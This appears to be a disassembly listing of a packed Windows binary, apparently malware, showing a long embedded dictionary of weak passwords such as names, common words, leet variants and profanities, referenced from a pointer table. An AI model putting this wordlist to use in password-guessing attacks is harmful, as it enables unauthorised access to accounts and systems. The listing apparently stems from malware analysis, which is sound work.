aChemistry db 'chemistry',0 ; DATA XREF: UPX0:00430270o
align 4
aCatherine db 'catherine',0 ; DATA XREF: UPX0:0043026Co
align 4
aCat db 'cat',0 ; DATA XREF: UPX0:00430268o
aCampanile db 'campanile',0 ; DATA XREF: UPX0:00430264o
align 4
aCad db 'cad',0 ; DATA XREF: UPX0:00430260o
aBsd db 'bsd',0 ; DATA XREF: UPX0:0043025Co
aBob db 'bob',0 ; DATA XREF: UPX0:00430258o
aBicameral db 'bicameral',0 ; DATA XREF: UPX0:00430254o
align 10h
aBeethoven db 'beethoven',0 ; DATA XREF: UPX0:00430250o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: UPX0:0043024Co
align 4
aAsm db 'asm',0 ; DATA XREF: UPX0:00430248o
aAsd db 'asd',0 ; DATA XREF: UPX0:00430244o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: UPX0:00430240o
align 10h
aAnn db 'ann',0 ; DATA XREF: UPX0:0043023Co
aAndromache db 'andromache',0 ; DATA XREF: UPX0:00430238o
align 10h
aAmy db 'amy',0 ; DATA XREF: UPX0:00430234o
aAmorphous db 'amorphous',0 ; DATA XREF: UPX0:00430230o
align 10h
aAma db 'ama',0 ; DATA XREF: UPX0:0043022Co
aAlf db 'alf',0 ; DATA XREF: UPX0:00430228o
aAlbatross db 'albatross',0 ; DATA XREF: UPX0:00430224o
align 4
aAda db 'ada',0 ; DATA XREF: UPX0:00430220o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: UPX0:0043021Co
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: UPX0:00430218o
align 10h
aH4x1ng db 'h4x1ng',0 ; DATA XREF: UPX0:00430214o
align 4
aHaxing db 'haxing',0 ; DATA XREF: UPX0:00430210o
align 10h
aHax db 'hax',0 ; DATA XREF: UPX0:0043020Co
aWh0re db 'wh0re',0 ; DATA XREF: UPX0:00430208o
align 4
aHo db 'ho',0 ; DATA XREF: UPX0:00430204o
align 10h
aWh0r3 db 'wh0r3',0 ; DATA XREF: UPX0:00430200o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: UPX0:004301FCo
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: UPX0:004301F8o
align 10h
aWindozeme db 'windozeME',0 ; DATA XREF: UPX0:004301F4o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: UPX0:004301F0o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: UPX0:004301ECo
align 4
aWindows95 db 'windows95',0 ; DATA XREF: UPX0:004301E8o
align 10h
aWindows98 db 'windows98',0 ; DATA XREF: UPX0:004301E4o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: UPX0:004301E0o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: UPX0:004301DCo
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: UPX0:004301D8o
align 10h
aMs db 'MS',0 ; DATA XREF: UPX0:004301D4o
align 4
aM_0 db 'M$',0 ; DATA XREF: UPX0:004301D0o
align 4
aBilly db 'billy',0 ; DATA XREF: UPX0:004301CCo
align 10h
aWindose db 'windose',0 ; DATA XREF: UPX0:004301C8o
aWindoze db 'windoze',0 ; DATA XREF: UPX0:004301C4o
aWindowz db 'windowz',0 ; DATA XREF: UPX0:004301C0o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: UPX0:004301BCo
aDonaldduck db 'donaldduck',0 ; DATA XREF: UPX0:004301B8o
align 10h
aAlexander db 'Alexander',0 ; DATA XREF: UPX0:004301B4o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: UPX0:004301B0o
align 4
aDud3 db 'dud3',0 ; DATA XREF: UPX0:004301ACo
align 4
aDudette db 'dudette',0 ; DATA XREF: UPX0:004301A8o
aD00d db 'd00d',0 ; DATA XREF: UPX0:004301A4o
align 4
aLol db 'lol',0 ; DATA XREF: UPX0:004301A0o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: UPX0:0043019Co
align 10h
aRoscop db 'RoscoP',0 ; DATA XREF: UPX0:00430198o
align 4
aRosco db 'Rosco',0 ; DATA XREF: UPX0:00430194o
align 10h
aRoss db 'Ross',0 ; DATA XREF: UPX0:00430190o
align 4
aTestin db 'testin',0 ; DATA XREF: UPX0:0043018Co
align 10h
aTester db 'tester',0 ; DATA XREF: UPX0:00430188o
align 4
a00000000 db '00000000',0 ; DATA XREF: UPX0:00430184o
align 4
aZulu db 'zulu',0 ; DATA XREF: UPX0:00430180o
align 4
aZombie db 'zombie',0 ; DATA XREF: UPX0:0043017Co
align 4
aZmodem db 'zmodem',0 ; DATA XREF: UPX0:00430178o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: UPX0:00430174o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: UPX0:00430170o
align 10h
aZeitgeis db 'zeitgeis',0 ; DATA XREF: UPX0:0043016Co
align 4
aZebra db 'zebra',0 ; DATA XREF: UPX0:00430168o
align 4
aYoung db 'young',0 ; DATA XREF: UPX0:00430164o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: UPX0:00430160o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: UPX0:0043015Co
aYellowst db 'yellowst',0 ; DATA XREF: UPX0:00430158o
align 4
aYellow db 'yellow',0 ; DATA XREF: UPX0:00430154o
align 4
aYankee db 'yankee',0 ; DATA XREF: UPX0:00430150o
align 4
aYang db 'yang',0 ; DATA XREF: UPX0:0043014Co
align 4
aYaco db 'yaco',0 ; DATA XREF: UPX0:00430148o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: UPX0:00430144o
align 4
aXray db 'xray',0 ; DATA XREF: UPX0:00430140o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: UPX0:0043013Co
align 4
aXmen db 'xmen',0 ; DATA XREF: UPX0:00430138o
align 4
aXman db 'xman',0 ; DATA XREF: UPX0:00430134o
align 4
aXfer db 'xfer',0 ; DATA XREF: UPX0:00430130o
align 4
aXena db 'xena',0 ; DATA XREF: UPX0:0043012Co
align 4
aWyoming db 'wyoming',0 ; DATA XREF: UPX0:00430128o
aWwii db 'wwii',0 ; DATA XREF: UPX0:00430124o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: UPX0:00430120o
align 10h
aWorm db 'worm',0 ; DATA XREF: UPX0:0043011Co
align 4
aWork db 'work',0 ; DATA XREF: UPX0:00430118o
align 10h
aWorf db 'worf',0 ; DATA XREF: UPX0:00430114o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: UPX0:00430110o
align 4
aWord db 'word',0 ; DATA XREF: UPX0:0043010Co
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: UPX0:00430108o
align 4
aWood db 'wood',0 ; DATA XREF: UPX0:00430104o
align 10h
aWomen db 'women',0 ; DATA XREF: UPX0:00430100o
align 4
aWombat db 'wombat',0 ; DATA XREF: UPX0:004300FCo
align 10h
aWoman db 'woman',0 ; DATA XREF: UPX0:004300F8o
align 4
aWolverin db 'wolverin',0 ; DATA XREF: UPX0:004300F4o
align 4
aWolf db 'wolf',0 ; DATA XREF: UPX0:004300F0o
align 4
aWizard db 'wizard',0 ; DATA XREF: UPX0:004300ECo
align 4
aWithin db 'within',0 ; DATA XREF: UPX0:004300E8o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: UPX0:004300E4o
aWisconsi db 'wisconsi',0 ; DATA XREF: UPX0:004300E0o
align 10h
aWired db 'wired',0 ; DATA XREF: UPX0:004300DCo
align 4
aWinston db 'winston',0 ; DATA XREF: UPX0:004300D8o
aWing db 'wing',0 ; DATA XREF: UPX0:004300D4o
align 4
aWine db 'wine',0 ; DATA XREF: UPX0:004300D0o
align 10h
aWindows db 'windows',0 ; DATA XREF: UPX0:004300CCo
aWilma db 'wilma',0 ; DATA XREF: UPX0:004300C8o
align 10h
aWillie db 'willie',0 ; DATA XREF: UPX0:004300C4o
align 4
aWilliams db 'williams',0 ; DATA XREF: UPX0:004300C0o
align 4
aWilliam db 'william',0 ; DATA XREF: UPX0:004300BCo
aWill db 'will',0 ; DATA XREF: UPX0:004300B8o
align 4
aWhore db 'whore',0 ; DATA XREF: UPX0:004300B4o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: UPX0:004300B0o
align 4
aWhitney db 'whitney',0 ; DATA XREF: UPX0:004300ACo
aWhiting db 'whiting',0 ; DATA XREF: UPX0:004300A8o
aWhite db 'white',0 ; DATA XREF: UPX0:004300A4o
align 10h
aWhisky db 'whisky',0 ; DATA XREF: UPX0:004300A0o
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: UPX0:0043009Co
aWhatever db 'whatever',0 ; DATA XREF: UPX0:00430098o
align 4
aWestern db 'western',0 ; DATA XREF: UPX0:00430094o
aWest db 'west',0 ; DATA XREF: UPX0:00430090o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: UPX0:0043008Co
align 4
aWendy db 'wendy',0 ; DATA XREF: UPX0:00430088o
align 10h
aWendi db 'wendi',0 ; DATA XREF: UPX0:00430084o
align 4
aWell db 'well',0 ; DATA XREF: UPX0:00430080o
align 10h
aWeenie db 'weenie',0 ; DATA XREF: UPX0:0043007Co
align 4
aWeed db 'weed',0 ; DATA XREF: UPX0:00430078o
align 10h
aWednesda db 'wednesda',0 ; DATA XREF: UPX0:00430074o
align 4
aWebpage db 'webpage',0 ; DATA XREF: UPX0:00430070o
aWave db 'wave',0 ; DATA XREF: UPX0:0043006Co
align 4
aWater db 'water',0 ; DATA XREF: UPX0:00430068o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: UPX0:00430064o
align 10h
aWasp db 'wasp',0 ; DATA XREF: UPX0:00430060o
align 4
aWarren db 'warren',0 ; DATA XREF: UPX0:off_43005Co
align 10h
aWarp db 'warp',0 ; DATA XREF: UPX0:00430058o
align 4
aWargames db 'wargames',0 ; DATA XREF: UPX0:00430054o
align 4
aWarfare db 'warfare',0 ; DATA XREF: UPX0:off_430050o
aWarez db 'warez',0 ; DATA XREF: UPX0:0043004Co
align 4
aWard db 'ward',0 ; DATA XREF: UPX0:00430048o
align 4
aWaco db 'waco',0 ; DATA XREF: UPX0:00430044o
align 4
aVodka db 'vodka',0 ; DATA XREF: UPX0:00430040o
align 4
aVisualba db 'visualba',0 ; DATA XREF: UPX0:0043003Co
align 4
aVisual db 'visual',0 ; DATA XREF: UPX0:00430038o
align 10h
aVisitor db 'visitor',0 ; DATA XREF: UPX0:00430034o
aVirus db 'virus',0 ; DATA XREF: UPX0:00430030o
align 10h
aVirginia db 'virginia',0 ; DATA XREF: UPX0:0043002Co
align 4
aVirgin db 'virgin',0 ; DATA XREF: UPX0:00430028o
align 4
aVillage db 'village',0 ; DATA XREF: UPX0:00430024o
aVideogam db 'videogam',0 ; DATA XREF: UPX0:00430020o
align 4
; char aVideo[]
aVideo db 'video',0 ; DATA XREF: sub_40EE51:loc_413581o
; UPX0:0043001Co
align 10h
aVictor db 'victor',0 ; DATA XREF: UPX0:00430018o
align 4
aVicky db 'vicky',0 ; DATA XREF: UPX0:00430014o
align 10h
aVertigo db 'vertigo',0 ; DATA XREF: UPX0:00430010o
aVeronica db 'veronica',0 ; DATA XREF: UPX0:0043000Co
align 4
aVenus db 'venus',0 ; DATA XREF: UPX0:00430008o
align 4
aVasant db 'vasant',0 ; DATA XREF: UPX0:00430004o
align 4
aVampire db 'vampire',0 ; DATA XREF: UPX0:00430000o
aValerie db 'valerie',0 ; DATA XREF: UPX0:0042FFFCo
aVagina db 'vagina',0 ; DATA XREF: UPX0:0042FFF8o
align 4
aUucp db 'uucp',0 ; DATA XREF: UPX0:0042FFF4o
align 4
aUtility db 'utility',0 ; DATA XREF: UPX0:0042FFF0o
aUtil db 'util',0 ; DATA XREF: UPX0:0042FFECo
align 4
aUsmc db 'usmc',0 ; DATA XREF: UPX0:0042FFE8o
align 4
aUsername db 'username',0 ; DATA XREF: UPX0:0042FFE4o
align 4
aUsermane db 'usermane',0 ; DATA XREF: UPX0:0042FFE0o
align 4
aUsenet db 'usenet',0 ; DATA XREF: UPX0:0042FFDCo
align 4
aUrsula db 'ursula',0 ; DATA XREF: UPX0:0042FFD8o
align 4
aUrchin db 'urchin',0 ; DATA XREF: UPX0:0042FFD4o
align 4
aUranus db 'uranus',0 ; DATA XREF: UPX0:0042FFD0o
align 4
aUpload db 'upload',0 ; DATA XREF: UPX0:0042FFCCo
align 4
aUnlock db 'unlock',0 ; DATA XREF: UPX0:0042FFC8o
align 4
aUnknown_1 db 'unknown',0 ; DATA XREF: UPX0:0042FFC4o
aUniversi db 'universi',0 ; DATA XREF: UPX0:0042FFC0o
align 4
aUniverse db 'universe',0 ; DATA XREF: UPX0:0042FFBCo
align 4
aUniversa db 'universa',0 ; DATA XREF: UPX0:0042FFB8o
align 10h
aUniform db 'uniform',0 ; DATA XREF: UPX0:0042FFB4o
aUnicorn db 'unicorn',0 ; DATA XREF: UPX0:0042FFB0o
aUnhappy db 'unhappy',0 ; DATA XREF: UPX0:0042FFACo
aUndo db 'undo',0 ; DATA XREF: UPX0:0042FFA8o
align 10h
aUncle db 'uncle',0 ; DATA XREF: UPX0:0042FFA4o
align 4
aUmesh db 'umesh',0 ; DATA XREF: UPX0:0042FFA0o
align 10h
aUgly db 'ugly',0 ; DATA XREF: UPX0:0042FF9Co
align 4
aTuttle db 'tuttle',0 ; DATA XREF: UPX0:0042FF98o
align 10h
aTurn db 'turn',0 ; DATA XREF: UPX0:0042FF94o
align 4
aTuesday db 'tuesday',0 ; DATA XREF: UPX0:0042FF90o
aTubas db 'tubas',0 ; DATA XREF: UPX0:0042FF8Co
align 4
aTruth db 'truth',0 ; DATA XREF: UPX0:0042FF88o
align 10h
aTrue db 'true',0 ; DATA XREF: UPX0:0042FF84o
align 4
aTron db 'tron',0 ; DATA XREF: UPX0:0042FF80o
align 10h
aTrombone db 'trombone',0 ; DATA XREF: UPX0:0042FF7Co
align 4
aTrojan db 'trojan',0 ; DATA XREF: UPX0:0042FF78o
align 4
aTrivial db 'trivial',0 ; DATA XREF: UPX0:0042FF74o
aTrisha db 'trisha',0 ; DATA XREF: UPX0:0042FF70o
align 4
aTrek db 'trek',0 ; DATA XREF: UPX0:0042FF6Co
align 4
aTree db 'tree',0 ; DATA XREF: UPX0:0042FF68o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: UPX0:0042FF64o
align 10h
aTrap db 'trap',0 ; DATA XREF: UPX0:0042FF60o
align 4
aTransfer_0 db 'transfer',0 ; DATA XREF: UPX0:0042FF5Co
align 4
aTrails db 'trails',0 ; DATA XREF: UPX0:0042FF58o
align 4
aTracy db 'tracy',0 ; DATA XREF: UPX0:0042FF54o
align 4
aTracie db 'tracie',0 ; DATA XREF: UPX0:0042FF50o
align 4
aTraci db 'traci',0 ; DATA XREF: UPX0:0042FF4Co
align 4
aToyota db 'toyota',0 ; DATA XREF: UPX0:0042FF48o
align 4
aToxic db 'toxic',0 ; DATA XREF: UPX0:0042FF44o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: UPX0:0042FF40o
align 10h
aTopograp db 'topograp',0 ; DATA XREF: UPX0:0042FF3Co
align 4
aTomato db 'tomato',0 ; DATA XREF: UPX0:0042FF38o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: UPX0:0042FF34o
align 10h
aToken db 'token',0 ; DATA XREF: UPX0:0042FF30o
align 4
aToggle db 'toggle',0 ; DATA XREF: UPX0:0042FF2Co
align 10h
aToad db 'toad',0 ; DATA XREF: UPX0:0042FF28o
align 4
aTits db 'tits',0 ; DATA XREF: UPX0:0042FF24o
align 10h
aTina db 'tina',0 ; DATA XREF: UPX0:0042FF20o
align 4
aTime db 'time',0 ; DATA XREF: UPX0:0042FF1Co
align 10h
aTiger db 'tiger',0 ; DATA XREF: UPX0:0042FF18o
align 4
aTiffany db 'tiffany',0 ; DATA XREF: UPX0:0042FF14o
aThursday db 'thursday',0 ; DATA XREF: UPX0:0042FF10o
align 4
aThin db 'thin',0 ; DATA XREF: UPX0:0042FF0Co
align 4
aTheresa db 'theresa',0 ; DATA XREF: UPX0:0042FF08o
aThailand db 'thailand',0 ; DATA XREF: UPX0:0042FF04o
align 4
aText db 'text',0 ; DATA XREF: UPX0:0042FF00o
align 10h
aTetris db 'tetris',0 ; DATA XREF: UPX0:0042FEFCo
align 4
aTess db 'tess',0 ; DATA XREF: UPX0:0042FEF8o
align 10h
aTerminat db 'terminat',0 ; DATA XREF: UPX0:0042FEF4o
align 4
aTerminal db 'terminal',0 ; DATA XREF: UPX0:0042FEF0o
align 4
aTera db 'tera',0 ; DATA XREF: UPX0:0042FEECo
align 10h
aTennis db 'tennis',0 ; DATA XREF: UPX0:0042FEE8o
align 4
aTemptati db 'temptati',0 ; DATA XREF: UPX0:0042FEE4o
align 4
aTelnet db 'telnet',0 ; DATA XREF: UPX0:0042FEE0o
align 4
aTelephon db 'telephon',0 ; DATA XREF: UPX0:0042FEDCo
align 4
aTeenage db 'teenage',0 ; DATA XREF: UPX0:0042FED8o
aTeen db 'teen',0 ; DATA XREF: UPX0:0042FED4o
align 4
aTech db 'tech',0 ; DATA XREF: UPX0:0042FED0o
align 10h
aTears db 'tears',0 ; DATA XREF: UPX0:0042FECCo
align 4
aTeapot db 'teapot',0 ; DATA XREF: UPX0:0042FEC8o
align 10h
aTeam db 'team',0 ; DATA XREF: UPX0:0042FEC4o
align 4
aTaylor db 'taylor',0 ; DATA XREF: UPX0:0042FEBCo
align 10h
aTarragon db 'tarragon',0 ; DATA XREF: UPX0:0042FEB8o
align 4
aTarget db 'target',0 ; DATA XREF: UPX0:0042FEB4o
align 4
aTara db 'tara',0 ; DATA XREF: UPX0:0042FEB0o
align 4
aTape db 'tape',0 ; DATA XREF: UPX0:0042FEACo
align 4
aTango db 'tango',0 ; DATA XREF: UPX0:0042FEA8o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: UPX0:0042FEA4o
align 4
aTammy db 'tammy',0 ; DATA XREF: UPX0:0042FEA0o
align 10h
aTamie db 'tamie',0 ; DATA XREF: UPX0:0042FE9Co
align 4
aTami db 'tami',0 ; DATA XREF: UPX0:0042FE98o
align 10h
aTamara db 'tamara',0 ; DATA XREF: UPX0:0042FE94o
align 4
aTall db 'tall',0 ; DATA XREF: UPX0:0042FE90o
align 10h
aTalk db 'talk',0 ; DATA XREF: UPX0:0042FE8Co
align 4
aTabasco db 'tabasco',0 ; DATA XREF: UPX0:0042FE88o
aSysop db 'sysop',0 ; DATA XREF: UPX0:0042FE84o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: UPX0:0042FE80o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: UPX0:0042FE7Co
align 10h
aSybil db 'sybil',0 ; DATA XREF: UPX0:0042FE78o
align 4
aSword db 'sword',0 ; DATA XREF: UPX0:0042FE74o
align 10h
aSwitch db 'switch',0 ; DATA XREF: UPX0:0042FE70o
align 4
aSweat db 'sweat',0 ; DATA XREF: UPX0:0042FE6Co
align 10h
aSwearer db 'swearer',0 ; DATA XREF: UPX0:0042FE68o
aSuzie db 'suzie',0 ; DATA XREF: UPX0:0042FE64o
align 10h
aSuzanne db 'suzanne',0 ; DATA XREF: UPX0:0042FE60o
aSusie db 'susie',0 ; DATA XREF: UPX0:0042FE5Co
align 10h
aSusanne db 'susanne',0 ; DATA XREF: UPX0:0042FE58o
aSusan db 'susan',0 ; DATA XREF: UPX0:0042FE54o
align 10h
aSurfing db 'surfing',0 ; DATA XREF: UPX0:0042FE50o
aSurfer db 'surfer',0 ; DATA XREF: UPX0:0042FE4Co
align 10h
aSupporte db 'supporte',0 ; DATA XREF: UPX0:0042FE48o
align 4
aSupport db 'support',0 ; DATA XREF: UPX0:0042FE44o
aSupervis db 'supervis',0 ; DATA XREF: UPX0:0042FE40o
align 10h
aSuperuse db 'superuse',0 ; DATA XREF: UPX0:0042FE3Co
align 4
aSupersta db 'supersta',0 ; DATA XREF: UPX0:0042FE38o
align 4
aSuperson db 'superson',0 ; DATA XREF: UPX0:0042FE34o
align 4
aSuperman db 'superman',0 ; DATA XREF: UPX0:0042FE30o
align 10h
aSunday db 'sunday',0 ; DATA XREF: UPX0:0042FE2Co
align 4
aSummer db 'summer',0 ; DATA XREF: UPX0:0042FE28o
align 10h
aSucks db 'sucks',0 ; DATA XREF: UPX0:0042FE24o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: UPX0:0042FE20o
align 4
aSuck db 'suck',0 ; DATA XREF: UPX0:0042FE1Co
align 4
aSuccess db 'success',0 ; DATA XREF: UPX0:0042FE18o
aSubway db 'subway',0 ; DATA XREF: UPX0:0042FE14o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: UPX0:0042FE10o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: UPX0:0042FE0Co
align 4
aStrip db 'strip',0 ; DATA XREF: UPX0:0042FE04o
align 4
aString db 'string',0 ; DATA XREF: UPX0:0042FE00o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: UPX0:0042FDFCo
align 10h
aStratfor db 'stratfor',0 ; DATA XREF: UPX0:0042FDF8o
align 4
aStrangle db 'strangle',0 ; DATA XREF: UPX0:0042FDF4o
align 4
aStrange db 'strange',0 ; DATA XREF: UPX0:0042FDF0o
aStones db 'stones',0 ; DATA XREF: UPX0:0042FDECo
align 4
aStoned db 'stoned',0 ; DATA XREF: UPX0:0042FDE8o
align 10h
aStoneage db 'stoneage',0 ; DATA XREF: UPX0:0042FDE4o
align 4
aSteve db 'steve',0 ; DATA XREF: UPX0:0042FDE0o
align 4
aStereo db 'stereo',0 ; DATA XREF: UPX0:0042FDDCo
align 4
aStephani db 'stephani',0 ; DATA XREF: UPX0:0042FDD8o
align 4
aSteph db 'steph',0 ; DATA XREF: UPX0:0042FDD4o
align 10h
aSteel db 'steel',0 ; DATA XREF: UPX0:0042FDD0o
align 4
aSteal db 'steal',0 ; DATA XREF: UPX0:0042FDCCo
align 10h
aSteak db 'steak',0 ; DATA XREF: UPX0:0042FDC8o
align 4
aStarwars db 'starwars',0 ; DATA XREF: UPX0:0042FDC4o
align 4
aStartup db 'startup',0 ; DATA XREF: UPX0:0042FDC0o
aStartrek db 'startrek',0 ; DATA XREF: UPX0:0042FDBCo
align 4
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_40EE51+2055o
; UPX0:0042FDB8o
align 10h
aStarship db 'starship',0 ; DATA XREF: UPX0:0042FDB4o
align 4
aStar db 'star',0 ; DATA XREF: UPX0:0042FDB0o
align 4
aStacy db 'stacy',0 ; DATA XREF: UPX0:0042FDACo
align 4
aStacie db 'stacie',0 ; DATA XREF: UPX0:0042FDA8o
align 4
aStaci db 'staci',0 ; DATA XREF: UPX0:0042FDA4o
align 4
aStacey db 'stacey',0 ; DATA XREF: UPX0:0042FDA0o
align 4
aSr71 db 'sr71',0 ; DATA XREF: UPX0:0042FD9Co
align 4
aSquires db 'squires',0 ; DATA XREF: UPX0:0042FD98o
aSpunk db 'spunk',0 ; DATA XREF: UPX0:0042FD94o
align 4
aSpringer db 'springer',0 ; DATA XREF: UPX0:0042FD90o
align 4
aSpring db 'spring',0 ; DATA XREF: UPX0:0042FD8Co
align 10h
aSpred db 'spred',0 ; DATA XREF: UPX0:0042FD88o
align 4
aSpit db 'spit',0 ; DATA XREF: UPX0:0042FD84o
align 10h
aSpiderma db 'spiderma',0 ; DATA XREF: UPX0:0042FD80o
align 4
aSpider db 'spider',0 ; DATA XREF: UPX0:0042FD7Co
align 4
aSpice db 'spice',0 ; DATA XREF: UPX0:0042FD78o
align 4
aSpell db 'spell',0 ; DATA XREF: UPX0:0042FD74o
align 4
aSpear db 'spear',0 ; DATA XREF: UPX0:0042FD70o
align 4
aSparrows db 'sparrows',0 ; DATA XREF: UPX0:0042FD6Co
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: UPX0:0042FD68o
align 4
aSouth db 'south',0 ; DATA XREF: UPX0:0042FD64o
align 4
aSource db 'source',0 ; DATA XREF: UPX0:0042FD60o
align 4
aSossina db 'sossina',0 ; DATA XREF: UPX0:0042FD5Co
aSonya db 'sonya',0 ; DATA XREF: UPX0:0042FD58o
align 4
aSonic db 'sonic',0 ; DATA XREF: UPX0:0042FD54o
align 4
aSonia db 'sonia',0 ; DATA XREF: UPX0:0042FD50o
align 4
aSondra db 'sondra',0 ; DATA XREF: UPX0:0042FD4Co
align 4
aSomebody db 'somebody',0 ; DATA XREF: UPX0:0042FD48o
align 4
aSoftware db 'software',0 ; DATA XREF: UPX0:0042FD44o
align 4
aSoft db 'soft',0 ; DATA XREF: UPX0:0042FD40o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: UPX0:0042FD3Co
align 4
aSocrates db 'socrates',0 ; DATA XREF: UPX0:0042FD38o
align 10h
aSocial db 'social',0 ; DATA XREF: UPX0:0042FD34o
align 4
aSoap db 'soap',0 ; DATA XREF: UPX0:0042FD30o
align 10h
aSnoopy db 'snoopy',0 ; DATA XREF: UPX0:0042FD2Co
align 4
aSnatch db 'snatch',0 ; DATA XREF: UPX0:0042FD28o
align 10h
aSnake db 'snake',0 ; DATA XREF: UPX0:0042FD24o
align 4
aSnafu db 'snafu',0 ; DATA XREF: UPX0:0042FD20o
align 10h
aSnach db 'snach',0 ; DATA XREF: UPX0:0042FD1Co
align 4
aSmut db 'smut',0 ; DATA XREF: UPX0:0042FD18o
align 10h
aSmtp db 'smtp',0 ; DATA XREF: UPX0:0042FD14o
align 4
aSmother db 'smother',0 ; DATA XREF: UPX0:0042FD10o
aSmooch db 'smooch',0 ; DATA XREF: UPX0:0042FD0Co
align 4
aSmiles db 'smiles',0 ; DATA XREF: UPX0:0042FD08o
align 10h
aSmile db 'smile',0 ; DATA XREF: UPX0:0042FD04o
align 4
aSmart db 'smart',0 ; DATA XREF: UPX0:0042FD00o
align 10h
aSmall db 'small',0 ; DATA XREF: UPX0:0042FCFCo
align 4
aSlut db 'slut',0 ; DATA XREF: UPX0:0042FCF8o
align 10h
aSlow db 'slow',0 ; DATA XREF: UPX0:0042FCF4o
align 4
aSliders db 'sliders',0 ; DATA XREF: UPX0:0042FCF0o
aSlick db 'slick',0 ; DATA XREF: UPX0:0042FCECo
align 4
aSlave db 'slave',0 ; DATA XREF: UPX0:0042FCE8o
align 10h
aSkull db 'skull',0 ; DATA XREF: UPX0:0042FCE4o
align 4
aSite db 'site',0 ; DATA XREF: UPX0:0042FCE0o
align 10h
aSingle db 'single',0 ; DATA XREF: UPX0:0042FCDCo
align 4
aSinger db 'singer',0 ; DATA XREF: UPX0:0042FCD8o
align 10h
aSimulati db 'simulati',0 ; DATA XREF: UPX0:0042FCD4o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: UPX0:0042FCD0o
align 4
aSimple db 'simple',0 ; DATA XREF: UPX0:0042FCCCo
align 10h
aSimon db 'simon',0 ; DATA XREF: UPX0:0042FCC8o
align 4
aSimcity db 'simcity',0 ; DATA XREF: UPX0:0042FCC4o
aSilver db 'silver',0 ; DATA XREF: UPX0:0042FCC0o
align 4
aSignatur db 'signatur',0 ; DATA XREF: UPX0:0042FCBCo
align 4
aSierra db 'sierra',0 ; DATA XREF: UPX0:0042FCB8o
align 4
aSick db 'sick',0 ; DATA XREF: UPX0:0042FCB4o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: UPX0:0042FCB0o
aShort db 'short',0 ; DATA XREF: UPX0:0042FCACo
align 4
aShivers db 'shivers',0 ; DATA XREF: UPX0:0042FCA8o
aShiva db 'shiva',0 ; DATA XREF: UPX0:0042FCA4o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: UPX0:0042FCA0o
aShit db 'shit',0 ; DATA XREF: UPX0:0042FC9Co
align 4
aShirley db 'shirley',0 ; DATA XREF: UPX0:0042FC98o
aShift db 'shift',0 ; DATA XREF: UPX0:0042FC94o
align 4
aSherri db 'sherri',0 ; DATA XREF: UPX0:0042FC90o
align 4
aShell db 'shell',0 ; DATA XREF: UPX0:0042FC8Co
align 4
aSheldon db 'sheldon',0 ; DATA XREF: UPX0:0042FC88o
aSheffiel db 'sheffiel',0 ; DATA XREF: UPX0:0042FC84o
align 4
aSharon db 'sharon',0 ; DATA XREF: UPX0:0042FC80o
align 10h
aSharks db 'sharks',0 ; DATA XREF: UPX0:0042FC7Co
align 4
aShark db 'shark',0 ; DATA XREF: UPX0:0042FC78o
align 10h
aSharc db 'sharc',0 ; DATA XREF: UPX0:0042FC74o
align 4
aShannon db 'shannon',0 ; DATA XREF: UPX0:0042FC70o
aSexy db 'sexy',0 ; DATA XREF: UPX0:0042FC6Co
align 4
aSesame db 'sesame',0 ; DATA XREF: UPX0:0042FC68o
align 10h
aService db 'service',0 ; DATA XREF: UPX0:0042FC64o
aSerial_0 db 'serial',0 ; DATA XREF: UPX0:0042FC60o
align 10h
aSerenity db 'serenity',0 ; DATA XREF: UPX0:0042FC5Co
align 4
aSentry db 'sentry',0 ; DATA XREF: UPX0:0042FC58o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: UPX0:0042FC54o
align 10h
aSensor db 'sensor',0 ; DATA XREF: UPX0:0042FC50o
align 4
aSega db 'sega',0 ; DATA XREF: UPX0:0042FC4Co
align 10h
aSeed db 'seed',0 ; DATA XREF: UPX0:0042FC48o
align 4
aSecurity db 'security',0 ; DATA XREF: UPX0:0042FC44o
align 4
aSearch db 'search',0 ; DATA XREF: UPX0:0042FC40o
align 4
aScout db 'scout',0 ; DATA XREF: UPX0:0042FC3Co
align 4
aScotty db 'scotty',0 ; DATA XREF: UPX0:0042FC38o
align 4
aScott db 'scott',0 ; DATA XREF: UPX0:0042FC34o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: UPX0:0042FC30o
